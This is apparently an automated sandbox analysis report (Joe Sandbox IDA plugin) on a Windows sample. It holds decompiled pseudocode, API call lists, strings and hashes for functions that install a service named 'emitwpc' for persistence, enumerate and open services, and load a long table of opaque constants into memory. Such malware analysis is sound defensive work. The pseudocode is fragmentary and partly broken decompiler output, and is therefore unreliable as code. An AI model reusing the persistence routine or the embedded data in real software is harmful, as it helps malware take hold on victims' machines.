0x0050dd14
0x0050dd14
0x0050dd1b
0x0050dd22
0x0050dd22
0x0050dd48
0x0050dd4a
0x0050dd62
0x0050dd62
0x0050dd4c
0x0050dd58
0x0050dd5a
0x0050dd5a
0x0050dd66
0x0050dd6c
0x0050dd7a

APIs

_snwprintf.NTDLL ref: 0050DCD4
CreateServiceW.ADVAPI32(?,emitwpc,emitwpc,00000012,00000010,00000002,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 0050DD08
CloseServiceHandle.ADVAPI32(?,?,emitwpc,emitwpc,00000012,00000010,00000002,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 0050DD6C

Strings

emitwpc, xrefs: 0050DCFD, 0050DD02
C:\Windows\system32\emitwpc.exe, xrefs: 0050DCC8

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: Service$CloseCreateHandle_snwprintf
String ID: C:\Windows\system32\emitwpc.exe$emitwpc
API String ID: 2094473374-4093561946
Opcode ID: bd879c105f79d5ec44851e3ec3bf0178b21a5a49c62c765b215d3088dfe05f4a
Instruction ID: f4469fd5ca44bd26a0924734b2ab284e555133b441e542459dd8275d20058410
Opcode Fuzzy Hash: bd879c105f79d5ec44851e3ec3bf0178b21a5a49c62c765b215d3088dfe05f4a
Instruction Fuzzy Hash: CFF02872380325A3E72467A06D8BFFE7E78BF90B40F104265FA02B62C1DEA05D4066D9

Uniqueness

Uniqueness Score: 100.00%

Function 0050DA7D, Relevance: 4.5, APIs: 3, Instructions: 45
serviceCOMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 28%

			E0050DA7D() {
				void* _t16;
				void* _t20;
				void* _t21;
				void* _t25;
				void* _t28;
				void* _t33;
				short** _t35;
				void* _t38;
				void* _t39;

				if( *0x512bcc() == 0) {
					_t28 =  *(_t39 - 0x20);
					L14:
					E00501830( *((intOrPtr*)(_t39 - 0x18)));
					_t16 = _t33;
					if(_t33 == 0) {
						goto 0x521ca2;
						asm("int3");
						return _t16;
					} else {
						 *_t35 = _t28;
						return _t16;
					}
				}
				_t38 = (GetTickCount() & 0x0000000f) * 0x2c +  *((intOrPtr*)(_t39 - 0x18));
				_t20 =  *(_t39 - 0x10) * 0x2c + _t38;
				 *(_t39 - 0x20) = _t20;
				_t28 =  *(_t39 - 0x20);
				_t35 =  >=  ?  *((void*)(_t39 - 0x18)) : _t38;
				 *(_t39 - 4) = _t28;
				while(_t35 < _t20) {
					_t21 = OpenServiceW( *(_t39 - 0x1c),  *_t35, 1); // executed
					_t28 = _t21;
					if(_t28 != 0) {
						goto 0x521c5c;
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						if( *0x512900() == 0 && GetLastError() == 0x7a) {
							_t25 = E005017C0( *((intOrPtr*)(_t39 - 0xc)));
							 *(_t39 - 4) = _t25;
							if(_t25 != 0) {
								goto 0x521c75;
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_t33 =  *0x512900();
								if(_t33 == 0) {
									E00501830( *(_t39 - 4));
								}
							}
						}
						CloseServiceHandle(_t28);
					}
					_t20 =  *(_t39 - 0x20);
					_t35 =  &(_t35[0xb]);
					if(_t33 == 0) {
						continue;
					} else {
						break;
					}
				}
				goto 0x521c8e;
				asm("int3");
				goto L14;
			}

0x0050da85
0x0050db43
0x0050db2c
0x0050db2f
0x0050db34
0x0050db38
0x0050db4a
0x0050db4f
0x0050db50
0x0050db3a
0x0050db3b
0x0050db42
0x0050db42
0x0050db38
0x0050da9b
0x0050da9e
0x0050daa0
0x0050daa5
0x0050daa8
0x0050daac
0x0050dab0
0x0050dabb
0x0050dac1
0x0050dac5
0x0050dac7
0x0050dacc
0x0050dacd
0x0050dace
0x0050dacf
0x0050dad0
0x0050dad1
0x0050dada
0x0050daea
0x0050daef
0x0050daf4
0x0050daf6
0x0050dafb
0x0050dafc
0x0050dafd
0x0050dafe
0x0050daff
0x0050db00
0x0050db07
0x0050db0b
0x0050db10
0x0050db10
0x0050db0b
0x0050daf4
0x0050db16
0x0050db16
0x0050db1c
0x0050db1f
0x0050db24
0x00000000
0x00000000
0x00000000
0x00000000
0x0050db24
0x0050db26
0x0050db2b
0x00000000

APIs

EnumServicesStatusExW.ADVAPI32 ref: 0050DA7D
GetTickCount.KERNEL32 ref: 0050DA8B
OpenServiceW.ADVAPI32(?,?,00000001), ref: 0050DABB

Part of subcall function 00501830: GetProcessHeap.KERNEL32(00000000,?,0050C7E7), ref: 00501833
Part of subcall function 00501830: HeapFree.KERNEL32(00000000), ref: 0050183A

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: Heap$CountEnumFreeOpenProcessServiceServicesStatusTick
String ID:
API String ID: 1772836470-0
Opcode ID: 099ff1fcf0ed0825c37db03f33607cf34f5704f6c4c6da1d83479da69357b52c
Instruction ID: 66d5c572ab82bf527525b6095dd6bba905a83e73ee40f0397bccd9d02f4f00a3
Opcode Fuzzy Hash: 099ff1fcf0ed0825c37db03f33607cf34f5704f6c4c6da1d83479da69357b52c
Instruction Fuzzy Hash: DF017136E04226CBCF209FA8D8855ADFFF0BF58300B254515DD05B3291D7318D509BA4

Uniqueness

Uniqueness Score: 0.03%

Function 00507EDA, Relevance: 44.2, APIs: 1, Strings: 24, Instructions: 465
libraryUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 99%

			E00507EDA(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				struct HINSTANCE__* _t446;
				void* _t449;
				struct HINSTANCE__* _t452;
				void* _t459;

				_t449 = __ebx;
				 *((intOrPtr*)(_t459 - 0x6ec)) = 0xa0c071cc;
				 *((intOrPtr*)(_t459 - 0x6e8)) = 0x9bb73ab5;
				 *((intOrPtr*)(_t459 - 0x6e4)) = 0x52a9d08b;
				 *((intOrPtr*)(_t459 - 0x6e0)) = 0x4f1f5fde;
				 *((intOrPtr*)(_t459 - 0x6dc)) = 0x35ef533d;
				 *((intOrPtr*)(_t459 - 0x6d8)) = 0xbdd6c1bd;
				 *((intOrPtr*)(_t459 - 0x6d4)) = 0xa01d0643;
				 *((intOrPtr*)(_t459 - 0x6d0)) = 0xabbfcbc;
				 *((intOrPtr*)(_t459 - 0x6cc)) = 0xf149beee;
				 *((intOrPtr*)(_t459 - 0x6c8)) = 0xf0d8b5ca;
				 *((intOrPtr*)(_t459 - 0x6c4)) = 0xff3369fa;
				 *((intOrPtr*)(_t459 - 0x6c0)) = 0x7241a174;
				 *((intOrPtr*)(_t459 - 0x6bc)) = 0x70bc76d8;
				 *((intOrPtr*)(_t459 - 0x6b8)) = 0x1b8da2f6;
				 *((intOrPtr*)(_t459 - 0x6b4)) = 0x9fe4e81b;
				 *((intOrPtr*)(_t459 - 0x6b0)) = 0x167cdea8;
				 *((intOrPtr*)(_t459 - 0x6ac)) = 0x12b3cdd;
				 *((intOrPtr*)(_t459 - 0x6a8)) = 0x64416271;
				 *((intOrPtr*)(_t459 - 0x6a4)) = 0x6b302f01;
				 *((intOrPtr*)(_t459 - 0x6a0)) = 0xd830ca75;
				 *((intOrPtr*)(_t459 - 0x69c)) = 0x9723f755;
				 *((intOrPtr*)(_t459 - 0x698)) = 0xf46e6d45;
				 *((intOrPtr*)(_t459 - 0x694)) = 0x4a119b87;
				 *((intOrPtr*)(_t459 - 0x690)) = 0xb317c56e;
				 *((intOrPtr*)(_t459 - 0x68c)) = 0x71bf6311;
				 *((intOrPtr*)(_t459 - 0x688)) = 0xc876d992;
				 *((intOrPtr*)(_t459 - 0x684)) = 0x20f1b1f2;
				 *((intOrPtr*)(_t459 - 0x680)) = 0x4e2d91b3;
				 *((intOrPtr*)(_t459 - 0x67c)) = 0x92fe6a64;
				 *((intOrPtr*)(_t459 - 0x678)) = 0xb78609f0;
				 *((intOrPtr*)(_t459 - 0x674)) = 0x51464964;
				 *((intOrPtr*)(_t459 - 0x670)) = 0x12b964d3;
				 *((intOrPtr*)(_t459 - 0x66c)) = 0x96ab1199;
				 *((intOrPtr*)(_t459 - 0x668)) = 0xb114d9c0;
				 *((intOrPtr*)(_t459 - 0x664)) = 0x27755429;
				 *((intOrPtr*)(_t459 - 0x660)) = 0xb3ebede3;
				 *((intOrPtr*)(_t459 - 0x65c)) = 0x9cfb7adf;
				 *((intOrPtr*)(_t459 - 0x658)) = 0xbc01c204;
				 *((intOrPtr*)(_t459 - 0x654)) = 0xf5f5d4da;
				 *((intOrPtr*)(_t459 - 0x650)) = 0x51727f9;
				 *((intOrPtr*)(_t459 - 0x64c)) = 0x3312b3c4;
				 *((intOrPtr*)(_t459 - 0x648)) = 0xf6b654f;
				 *((intOrPtr*)(_t459 - 0x644)) = 0xe4d8ef26;
				 *((intOrPtr*)(_t459 - 0x640)) = 0x1324a854;
				 *((intOrPtr*)(_t459 - 0x63c)) = 0x398e338e;
				 *((intOrPtr*)(_t459 - 0x638)) = 0x56191a1b;
				 *((intOrPtr*)(_t459 - 0x634)) = 0x4d7123b2;
				 *((intOrPtr*)(_t459 - 0x630)) = 0x1860ed94;
				 *((intOrPtr*)(_t459 - 0x62c)) = 0x8f86c3b7;
				 *((intOrPtr*)(_t459 - 0x628)) = 0xbf2410f0;
				 *((intOrPtr*)(_t459 - 0x624)) = 0xe7b17839;
				 *((intOrPtr*)(_t459 - 0x620)) = 0xcf91c527;
				 *((intOrPtr*)(_t459 - 0x61c)) = 0x901ffdef;
				 *((intOrPtr*)(_t459 - 0x618)) = 0xa9e8552;
				 *((intOrPtr*)(_t459 - 0x614)) = 0xad7c3360;
				 *((intOrPtr*)(_t459 - 0x610)) = 0xd82c9ec9;
				 *((intOrPtr*)(_t459 - 0x60c)) = 0xa92dc2fb;
				 *((intOrPtr*)(_t459 - 0x608)) = 0xf860d8e3;
				 *((intOrPtr*)(_t459 - 0x604)) = 0x575f57c9;
				 *((intOrPtr*)(_t459 - 0x600)) = 0xe8747164;
				 *((intOrPtr*)(_t459 - 0x5fc)) = 0xa7ba0712;
				 *((intOrPtr*)(_t459 - 0x5f8)) = 0x5673240a;
				 *((intOrPtr*)(_t459 - 0x5f4)) = 0xdf28c108;
				 *((intOrPtr*)(_t459 - 0x5f0)) = 0xb9844152;
				 *((intOrPtr*)(_t459 - 0x5ec)) = 0x581f9a5b;
				 *((intOrPtr*)(_t459 - 0x5e8)) = 0xf1dcd5e5;
				 *((intOrPtr*)(_t459 - 0x5e4)) = 0xf0d7713e;
				 *((intOrPtr*)(_t459 - 0x5e0)) = 0xd9d8a317;
				 *((intOrPtr*)(_t459 - 0x5dc)) = 0x20a59ab9;
				 *((intOrPtr*)(_t459 - 0x5d8)) = 0x585c987f;
				 *((intOrPtr*)(_t459 - 0x5d4)) = 0x72ec8c50;
				 *((intOrPtr*)(_t459 - 0x5d0)) = 0xdb084fb0;
				 *((intOrPtr*)(_t459 - 0x5cc)) = 0x51349e8e;
				 *((intOrPtr*)(_t459 - 0x5c8)) = 0xd0ef8d05;
				 *((intOrPtr*)(_t459 - 0x5c4)) = 0x5c7d90a8;
				 *((intOrPtr*)(_t459 - 0x5c0)) = 0xba326a4e;
				 *((intOrPtr*)(_t459 - 0x5bc)) = 0x1deabfa2;
				 *((intOrPtr*)(_t459 - 0x5b8)) = 0x6f9dd3db;
				 *((intOrPtr*)(_t459 - 0x5b4)) = 0xc67afd;
				 *((intOrPtr*)(_t459 - 0x5b0)) = 0x6cef40f1;
				 *((intOrPtr*)(_t459 - 0x5ac)) = 0xa7ffcd78;
				 *((intOrPtr*)(_t459 - 0x5a8)) = 0x5d4e839b;
				 *((intOrPtr*)(_t459 - 0x5a4)) = 0x26b1055b;
				 *((intOrPtr*)(_t459 - 0x5a0)) = 0x3d7ba41c;
				 *((intOrPtr*)(_t459 - 0x59c)) = 0x24940163;
				 *((intOrPtr*)(_t459 - 0x598)) = 0x7c0e000c;
				 *((intOrPtr*)(_t459 - 0x594)) = 0x350d2ce7;
				 *((intOrPtr*)(_t459 - 0x590)) = 0xb900a4a9;
				 *((intOrPtr*)(_t459 - 0x58c)) = 0x44caacfc;
				 *((intOrPtr*)(_t459 - 0x588)) = 0x8de812e4;
				 *((intOrPtr*)(_t459 - 0x584)) = 0xfe61ed02;
				 *((intOrPtr*)(_t459 - 0x580)) = 0x7d6dac7c;
				 *((intOrPtr*)(_t459 - 0x57c)) = 0x580092b0;
				 *((intOrPtr*)(_t459 - 0x578)) = 0xfd169b3e;
				 *((intOrPtr*)(_t459 - 0x574)) = 0x9a478c99;
				 *((intOrPtr*)(_t459 - 0x570)) = 0x63aa85c9;
				 *((intOrPtr*)(_t459 - 0x56c)) = 0x5c9e1f9a;
				 *((intOrPtr*)(_t459 - 0x568)) = 0xfac6b61f;
				 *((intOrPtr*)(_t459 - 0x564)) = 0x3a3b3232;
				 *((intOrPtr*)(_t459 - 0x560)) = 0xa14a0fed;
				 *((intOrPtr*)(_t459 - 0x55c)) = 0xc8cdc156;
				 *((intOrPtr*)(_t459 - 0x558)) = 0x607bc6e3;
				 *((intOrPtr*)(_t459 - 0x554)) = 0x5c8dbf84;
				 *((intOrPtr*)(_t459 - 0x550)) = 0x839b07bb;
				 *((intOrPtr*)(_t459 - 0x54c)) = 0xb43eb5ac;
				 *((intOrPtr*)(_t459 - 0x548)) = 0x6f770a2c;
				 *((intOrPtr*)(_t459 - 0x544)) = 0x195a3ba7;
				 *((intOrPtr*)(_t459 - 0x540)) = 0x696f80be;
				 *((intOrPtr*)(_t459 - 0x53c)) = 0xc08f29d6;
				 *((intOrPtr*)(_t459 - 0x538)) = 0xc6de1881;
				 *((intOrPtr*)(_t459 - 0x534)) = 0x7e561ed5;
				 *((intOrPtr*)(_t459 - 0x530)) = 0x15cf373c;
				 *((intOrPtr*)(_t459 - 0x52c)) = 0xd8ebff33;
				 *((intOrPtr*)(_t459 - 0x528)) = 0x493eb0a3;
				 *((intOrPtr*)(_t459 - 0x524)) = 0x11c8a13d;
				 *((intOrPtr*)(_t459 - 0x520)) = 0x33e873b1;
				 *((intOrPtr*)(_t459 - 0x51c)) = 0x9e2225a6;
				 *((intOrPtr*)(_t459 - 0x518)) = 0xa364df34;
				 *((intOrPtr*)(_t459 - 0x514)) = 0x4dea98b;
				 *((intOrPtr*)(_t459 - 0x510)) = 0xe6021df4;
				 *((intOrPtr*)(_t459 - 0x50c)) = 0x30b889bc;
				 *((intOrPtr*)(_t459 - 0x508)) = 0xc9e63817;
				 *((intOrPtr*)(_t459 - 0x504)) = 0x2f4dfa87;
				 *((intOrPtr*)(_t459 - 0x500)) = 0x3e5d2a67;
				 *((intOrPtr*)(_t459 - 0x4fc)) = 0x21fbfafd;
				 *((intOrPtr*)(_t459 - 0x4f8)) = 0x3a34d7bd;
				 *((intOrPtr*)(_t459 - 0x4f4)) = 0xb867db1b;
				 *((intOrPtr*)(_t459 - 0x4f0)) = 0x1e6d4c40;
				 *((intOrPtr*)(_t459 - 0x4ec)) = 0x736367ef;
				 *((intOrPtr*)(_t459 - 0x4e8)) = 0x623a0fa9;
				 *((intOrPtr*)(_t459 - 0x4e4)) = 0x4e9d3abf;
				 *((intOrPtr*)(_t459 - 0x4e0)) = 0xdf73bfa3;
				 *((intOrPtr*)(_t459 - 0x4dc)) = 0xd91eb4c5;
				 *((intOrPtr*)(_t459 - 0x4d8)) = 0xd42fd6b6;
				 *((intOrPtr*)(_t459 - 0x4d4)) = 0xf6bfe013;
				 *((intOrPtr*)(_t459 - 0x4d0)) = 0x919a39b3;
				 *((intOrPtr*)(_t459 - 0x4cc)) = 0xa9279007;
				 *((intOrPtr*)(_t459 - 0x4c8)) = 0x8e74b6c3;
				 *((intOrPtr*)(_t459 - 0x4c4)) = 0x568e20a8;
				 *((intOrPtr*)(_t459 - 0x4c0)) = 0xa9b69a0d;
				 *((intOrPtr*)(_t459 - 0x4bc)) = 0xb7fa6634;
				 *((intOrPtr*)(_t459 - 0x4b8)) = 0xcadaecb6;
				 *((intOrPtr*)(_t459 - 0x4b4)) = 0x63282eca;
				 *((intOrPtr*)(_t459 - 0x4b0)) = 0x28ba8b3b;
				 *((intOrPtr*)(_t459 - 0x4ac)) = 0x4c2b1cf9;
				 *((intOrPtr*)(_t459 - 0x4a8)) = 0xca198f28;
				 *((intOrPtr*)(_t459 - 0x4a4)) = 0x77359edd;
				 *((intOrPtr*)(_t459 - 0x4a0)) = 0xbde8cc95;
				 *((intOrPtr*)(_t459 - 0x49c)) = 0x4de44437;
				 *((intOrPtr*)(_t459 - 0x498)) = 0x7c80a6da;
				 *((intOrPtr*)(_t459 - 0x494)) = 0x87226145;
				 *((intOrPtr*)(_t459 - 0x490)) = 0x776f8899;
				 *((intOrPtr*)(_t459 - 0x48c)) = 0x1444b53a;
				 *((intOrPtr*)(_t459 - 0x488)) = 0x7ee72bcb;
				 *((intOrPtr*)(_t459 - 0x484)) = 0x1a011c91;
				 *((intOrPtr*)(_t459 - 0x480)) = 0x8e14892c;
				 *((intOrPtr*)(_t459 - 0x47c)) = 0xdf88afa8;
				 *((intOrPtr*)(_t459 - 0x478)) = 0x347d5648;
				 *((intOrPtr*)(_t459 - 0x474)) = 0xd4f3a094;
				 *((intOrPtr*)(_t459 - 0x470)) = 0x33b2dba4;
				 *((intOrPtr*)(_t459 - 0x46c)) = 0xd0d094d7;
				 *((intOrPtr*)(_t459 - 0x468)) = 0xb04b5f6;
				 *((intOrPtr*)(_t459 - 0x464)) = 0x4c974243;
				 *((intOrPtr*)(_t459 - 0x460)) = 0xd6ea779b;
				 *((intOrPtr*)(_t459 - 0x45c)) = 0x665a842;
				 *((intOrPtr*)(_t459 - 0x458)) = 0xb90c785f;
				 *((intOrPtr*)(_t459 - 0x454)) = 0x2fef1bac;
				 *((intOrPtr*)(_t459 - 0x450)) = 0x59d49e4a;
				 *((intOrPtr*)(_t459 - 0x44c)) = 0xc55aee70;
				 *((intOrPtr*)(_t459 - 0x448)) = 0xa7eb4932;
				 *((intOrPtr*)(_t459 - 0x444)) = 0xaf15bf99;
				 *((intOrPtr*)(_t459 - 0x440)) = 0x50440f6c;
				 *((intOrPtr*)(_t459 - 0x43c)) = 0x397930a3;
				 *((intOrPtr*)(_t459 - 0x438)) = 0x75dc675e;
				 *((intOrPtr*)(_t459 - 0x434)) = 0xd98c40c9;
				 *((intOrPtr*)(_t459 - 0x430)) = 0x32bcb4bb;
				 *((intOrPtr*)(_t459 - 0x42c)) = 0x3ae77bfc;
				 *((intOrPtr*)(_t459 - 0x428)) = 0xa023b195;
				 *((intOrPtr*)(_t459 - 0x424)) = 0x5f344b1c;
				 *((intOrPtr*)(_t459 - 0x420)) = 0xdfab5a6e;
				 *((intOrPtr*)(_t459 - 0x41c)) = 0x2d9d32b;
				 *((intOrPtr*)(_t459 - 0x418)) = 0xb4cbc1;
				 *((intOrPtr*)(_t459 - 0x414)) = 0xeba52220;
				 *((intOrPtr*)(_t459 - 0x410)) = 0xaba46533;
				 *((intOrPtr*)(_t459 - 0x40c)) = 0x733b9757;
				 *((intOrPtr*)(_t459 - 0x408)) = 0x386470b0;
				 *((intOrPtr*)(_t459 - 0x404)) = 0x51a0ca39;
				 *((intOrPtr*)(_t459 - 0x400)) = 0x61a9e026;
				 *((intOrPtr*)(_t459 - 0x3fc)) = 0x4b55f9a6;
				 *((intOrPtr*)(_t459 - 0x3f8)) = 0xafdcfc4c;
				 *((intOrPtr*)(_t459 - 0x3f4)) = 0x4a2034a0;
				 *((intOrPtr*)(_t459 - 0x3f0)) = 0xa6bac99;
				 *((intOrPtr*)(_t459 - 0x3ec)) = 0x1862de4b;
				 *((intOrPtr*)(_t459 - 0x3e8)) = 0x443f49a6;
				 *((intOrPtr*)(_t459 - 0x3e4)) = 0x9d3eab52;
				 *((intOrPtr*)(_t459 - 0x3e0)) = 0x3e91296b;
				 *((intOrPtr*)(_t459 - 0x3dc)) = 0x93a5531d;
				 *((intOrPtr*)(_t459 - 0x3d8)) = 0xda32c3;
				 *((intOrPtr*)(_t459 - 0x3d4)) = 0xdaad4fb0;
				 *((intOrPtr*)(_t459 - 0x3d0)) = 0x108d1f41;
				 *((intOrPtr*)(_t459 - 0x3cc)) = 0x742a0a91;
				 *((intOrPtr*)(_t459 - 0x3c8)) = 0xa89a3a5b;
				 *((intOrPtr*)(_t459 - 0x3c4)) = 0x967890e7;
				 *((intOrPtr*)(_t459 - 0x3c0)) = 0x8763ab4e;
				 *((intOrPtr*)(_t459 - 0x3bc)) = 0x5e95588;
				 *((intOrPtr*)(_t459 - 0x3b8)) = 0x939b28c7;
				 *((intOrPtr*)(_t459 - 0x3b4)) = 0xd131551c;
				 *((intOrPtr*)(_t459 - 0x3b0)) = 0x4a0ad4b2;
				 *((intOrPtr*)(_t459 - 0x3ac)) = 0x9b6a7b4f;
				 *((intOrPtr*)(_t459 - 0x3a8)) = 0x43f6deee;
				 *((intOrPtr*)(_t459 - 0x3a4)) = 0xa03a78f8;
				 *((intOrPtr*)(_t459 - 0x3a0)) = 0x509078a9;
				 *((intOrPtr*)(_t459 - 0x39c)) = 0x54cca0c6;
				 *((intOrPtr*)(_t459 - 0x398)) = 0x656713;
				 *((intOrPtr*)(_t459 - 0x394)) = 0x5211840e;
				 *((intOrPtr*)(_t459 - 0x390)) = 0x382f332b;
				 *((intOrPtr*)(_t459 - 0x38c)) = 0xaefc67d5;
				 *((intOrPtr*)(_t459 - 0x388)) = 0xa5eed0d7;
				 *((intOrPtr*)(_t459 - 0x384)) = 0xb5de2b00;
				 *((intOrPtr*)(_t459 - 0x380)) = 0xc5ec0a05;
				 *((intOrPtr*)(_t459 - 0x37c)) = 0x94ef807f;
				 *((intOrPtr*)(_t459 - 0x378)) = 0xd1cdc53c;
				 *((intOrPtr*)(_t459 - 0x374)) = 0x3a58f54a;
				 *((intOrPtr*)(_t459 - 0x370)) = 0xbd2e1c30;
				 *((intOrPtr*)(_t459 - 0x36c)) = 0x859a7472;
				 *((intOrPtr*)(_t459 - 0x368)) = 0x674c612d;
				 *((intOrPtr*)(_t459 - 0x364)) = 0x120289aa;
				 *((intOrPtr*)(_t459 - 0x360)) = 0xceafb5c8;
				 *((intOrPtr*)(_t459 - 0x35c)) = 0x5dcb6129;
				 *((intOrPtr*)(_t459 - 0x358)) = 0x6bbd990d;
				 *((intOrPtr*)(_t459 - 0x354)) = 0x26cdff01;
				 *((intOrPtr*)(_t459 - 0x350)) = 0x3c592aea;
				 *((intOrPtr*)(_t459 - 0x34c)) = 0xe6067d3c;
				 *((intOrPtr*)(_t459 - 0x348)) = 0xde8cffd2;
				 *((intOrPtr*)(_t459 - 0x344)) = 0x4a6f6245;
				 *((intOrPtr*)(_t459 - 0x340)) = 0xb3b05007;
				 *((intOrPtr*)(_t459 - 0x33c)) = 0x79dcb20;
				 *((intOrPtr*)(_t459 - 0x338)) = 0xcb195be6;
				 *((intOrPtr*)(_t459 - 0x334)) = 0xa707ccf8;
				 *((intOrPtr*)(_t459 - 0x330)) = 0x2facb713;
				 *((intOrPtr*)(_t459 - 0x32c)) = 0x34a356b9;
				 *((intOrPtr*)(_t459 - 0x328)) = 0x44f720ed;
				 *((intOrPtr*)(_t459 - 0x324)) = 0x5ccbda71;
				 *((intOrPtr*)(_t459 - 0x320)) = 0x7ed7ac53;
				 *((intOrPtr*)(_t459 - 0x31c)) = 0xb5be6105;
				 *((intOrPtr*)(_t459 - 0x318)) = 0x9845207;
				 *((intOrPtr*)(_t459 - 0x314)) = 0x3e199247;
				 *((intOrPtr*)(_t459 - 0x310)) = 0xcd159d32;
				 *((intOrPtr*)(_t459 - 0x30c)) = 0x4e6a7e4b;
				 *((intOrPtr*)(_t459 - 0x308)) = 0xdd78840b;
				 *((intOrPtr*)(_t459 - 0x304)) = 0x1eeccb87;
				 *((intOrPtr*)(_t459 - 0x300)) = 0x49d11f71;
				 *((intOrPtr*)(_t459 - 0x2fc)) = 0x86503fa9;
				 *((intOrPtr*)(_t459 - 0x2f8)) = 0x3c3035b6;
				 *((intOrPtr*)(_t459 - 0x2f4)) = 0x150cf378;
				 *((intOrPtr*)(_t459 - 0x2f0)) = 0x2d81ef6c;
				 *((intOrPtr*)(_t459 - 0x2ec)) = 0x226ef342;
				 *((intOrPtr*)(_t459 - 0x2e8)) = 0x7b33d083;
				 *((intOrPtr*)(_t459 - 0x2e4)) = 0xbddd219;
				 *((intOrPtr*)(_t459 - 0x2e0)) = 0xcca97f8b;
				 *((intOrPtr*)(_t459 - 0x2dc)) = 0x7b4c58d8;
				 *((intOrPtr*)(_t459 - 0x2d8)) = 0x23080198;
				 *((intOrPtr*)(_t459 - 0x2d4)) = 0xedee0c3a;
				 *((intOrPtr*)(_t459 - 0x2d0)) = 0x56c8c1e9;
				 *((intOrPtr*)(_t459 - 0x2cc)) = 0xba22c650;
				 *((intOrPtr*)(_t459 - 0x2c8)) = 0x561c3093;
				 *((intOrPtr*)(_t459 - 0x2c4)) = 0xc69ffdfb;
				 *((intOrPtr*)(_t459 - 0x2c0)) = 0xc4a68727;
				 *((intOrPtr*)(_t459 - 0x2bc)) = 0xf994fc95;
				 *((intOrPtr*)(_t459 - 0x2b8)) = 0xdae189dc;
				 *((intOrPtr*)(_t459 - 0x2b4)) = 0xe2f88e3b;
				 *((intOrPtr*)(_t459 - 0x2b0)) = 0xb068767f;
				 *((intOrPtr*)(_t459 - 0x2ac)) = 0x81f7cf1;
				 *((intOrPtr*)(_t459 - 0x2a8)) = 0xd41cb313;
				 *((intOrPtr*)(_t459 - 0x2a4)) = 0x43582f47;
				 *((intOrPtr*)(_t459 - 0x2a0)) = 0xd600406;
				 *((intOrPtr*)(_t459 - 0x29c)) = 0x3e60b941;
				 *((intOrPtr*)(_t459 - 0x298)) = 0xdfa4463c;
				 *((intOrPtr*)(_t459 - 0x294)) = 0xb6e2a7d6;
				 *((intOrPtr*)(_t459 - 0x290)) = 0xa05f5f07;
				 *((intOrPtr*)(_t459 - 0x28c)) = 0xfc88eea5;
				 *((intOrPtr*)(_t459 - 0x288)) = 0xf4a6fd20;
				 *((intOrPtr*)(_t459 - 0x284)) = 0xbe00a37f;
				 *((intOrPtr*)(_t459 - 0x280)) = 0xc9fbaed0;
				 *((intOrPtr*)(_t459 - 0x27c)) = 0x35e9198a;
				 *((intOrPtr*)(_t459 - 0x278)) = 0xdd8864c7;
				 *((intOrPtr*)(_t459 - 0x274)) = 0xb8888645;
				 *((intOrPtr*)(_t459 - 0x270)) = 0x2690436f;
				 *((intOrPtr*)(_t459 - 0x26c)) = 0x5db88cab;
				 *((intOrPtr*)(_t459 - 0x268)) = 0xa3293499;
				 *((intOrPtr*)(_t459 - 0x264)) = 0x9c23469f;
				 *((intOrPtr*)(_t459 - 0x260)) = 0x25e6bcaa;
				 *((intOrPtr*)(_t459 - 0x25c)) = 0x55c96e0b;
				 *((intOrPtr*)(_t459 - 0x258)) = 0xd4eb9388;
				 *((intOrPtr*)(_t459 - 0x254)) = 0x25969ab0;
				 *((intOrPtr*)(_t459 - 0x250)) = 0x3e8a84d;
				 *((intOrPtr*)(_t459 - 0x24c)) = 0x5c021f0b;
				 *((intOrPtr*)(_t459 - 0x248)) = 0xf8377e6b;
				 *((intOrPtr*)(_t459 - 0x244)) = 0x5153dc57;
				 *((intOrPtr*)(_t459 - 0x240)) = 0x8cd535ab;
				 *((intOrPtr*)(_t459 - 0x23c)) = 0xaec48535;
				 *((intOrPtr*)(_t459 - 0x238)) = 0x9cc9ceb9;
				 *((intOrPtr*)(_t459 - 0x234)) = 0x60af91c8;
				 *((intOrPtr*)(_t459 - 0x230)) = 0x5036fd4a;
				 *((intOrPtr*)(_t459 - 0x22c)) = 0xaa068898;
				 *((intOrPtr*)(_t459 - 0x228)) = 0xef618e9f;
				 *((intOrPtr*)(_t459 - 0x224)) = 0xfb0db0fc;
				 *((intOrPtr*)(_t459 - 0x220)) = 0xc75df692;
				 *((intOrPtr*)(_t459 - 0x21c)) = 0x643bba31;
				 *((intOrPtr*)(_t459 - 0x218)) = 0xcc16cebb;
				 *((intOrPtr*)(_t459 - 0x214)) = 0x2cb02f95;
				 *((intOrPtr*)(_t459 - 0x210)) = 0x8fb03f1c;
				 *((intOrPtr*)(_t459 - 0x20c)) = 0x7ba65da5;
				 *((intOrPtr*)(_t459 - 0x208)) = 0x4e9a1518;
				 *((intOrPtr*)(_t459 - 0x204)) = 0xb0eacead;
				 *((intOrPtr*)(_t459 - 0x200)) = 0x1ba5bc11;
				 *((intOrPtr*)(_t459 - 0x1fc)) = 0x5d065e54;
				 *((intOrPtr*)(_t459 - 0x1f8)) = 0x25fe4d66;
				 *((intOrPtr*)(_t459 - 0x1f4)) = 0xf4d6cee6;
				 *((intOrPtr*)(_t459 - 0x1f0)) = 0xa911d07b;
				 *((intOrPtr*)(_t459 - 0x1ec)) = 0x5afad65f;
				 *((intOrPtr*)(_t459 - 0x1e8)) = 0xbe3e4460;
				 *((intOrPtr*)(_t459 - 0x1e4)) = 0x118c2732;
				 *((intOrPtr*)(_t459 - 0x1e0)) = 0x829a26ed;
